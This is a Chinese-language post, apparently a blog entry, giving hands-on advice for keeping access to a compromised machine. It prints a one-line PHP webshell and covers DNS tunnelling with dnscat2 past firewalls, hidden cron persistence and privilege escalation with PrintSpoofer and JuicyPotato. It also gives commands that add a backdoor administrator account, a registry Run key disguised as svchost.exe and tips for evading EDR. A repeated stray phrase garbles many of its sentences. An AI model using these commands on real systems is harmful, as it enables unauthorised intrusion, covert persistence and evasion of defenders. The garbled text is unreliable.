|
拿到一台目标机器,搭建渗透你手上只有个浏览器,搭建渗透连个正经的搭建渗透 shell 都没有,这时候能干什么?搭建渗透答案是:搭一条渗透通道。别急着想那些复杂的搭建渗透反向 shell,先从最土的搭建渗透办法说起。 我见过太多人一上来就掏 msfvenom 生成 payload,搭建渗透结果传到一半被 WAF 拦了,搭建渗透或者杀软直接删文件。搭建渗透真到实战里,搭建渗透最不起眼的搭建渗透 web 路径往往最管用。比如目标跑着 WordPress,搭建渗透插件目录里有个上传点没做后缀校验——你传个 .php 上去,搭建渗透哪怕内容就一行 <?搭建渗透php system($_GET['c']); ?>,这就算初步立足了。搭建渗透别小看这一行,它比任何花哨的编码都直接。 但问题是,很多环境不让出网。你传了 webshell,执行 whoami 没问题,想反弹个 shell 到 VPS 上,发现 outbound 全被防火墙掐了。这时候就得换思路:用 DNS 或者 ICMP 隧道。我试过最稳的是 dnscat2,服务端跑在公网 VPS 上,客户端在目标机器执行一个静态编译的小二进制。流量全走 53 端口,防火墙基本不拦。缺点就是慢,传个 1MB 的文件得等好几分钟,但总比没有强。 再往下走,你要考虑权限维持。别以为拿到 webshell 就完事了,很多运维半夜重启个服务,你的 shell 就没了。我习惯在 /tmp 或者 /dev/shm 下留一个 cron 任务,每五分钟检查一次,如果进程掉了就重新拉起来。命令很简单:echo "*/5 * * * * /tmp/.hidden/run.sh" | crontab -。注意别用太显眼的文件名,.hidden 这种带点的目录在 ls 默认输出里看不见,能多撑几天。 Windows 那边又是另一套玩法。你搞到一个 aspx 的 webshell,执行命令发现是 iis apppool\defaultapppool 权限,啥也干不了。这时候别急着提权,先看 whoami /priv,如果开了 SeImpersonatePrivilege,直接上 JuicyPotato 或者 PrintSpoofer。我遇到过一台 Server 2019,PrintSpoofer 一把过,连补丁都没打。拿到 SYSTEM 之后,第一件事是 net user hacker P@ssw0rd /add 加个本地管理员,然后用 reg add 开 3389。别用 mimikatz 抓密码,动静太大,EDR 直接告警。 还有一点,别把所有鸡蛋放一个篮子里。我习惯同时留三条路:一条 webshell,一条计划任务反弹,一条藏在注册表里的启动项。哪怕其中一条被清了,另外两条还能用。注册表那个最简单:reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Updater /t REG_SZ /d "C:\Windows\Temp\svchost.exe" /f。文件名伪装成系统进程,一般运维不会细看。 最后说个坑。有次我搭好通道,准备传工具上去,结果发现目标机器磁盘满了,/tmp 写不进去。当时急得不行,后来发现 /var/log 下有个旧的日志文件,删了腾出 200MB 空间才搞定。所以动手之前,先 df -h 看一眼,别到关键时候掉链子。渗透这事,细节决定成败,通道搭得再隐蔽,一个磁盘满就能让你前功尽弃。 |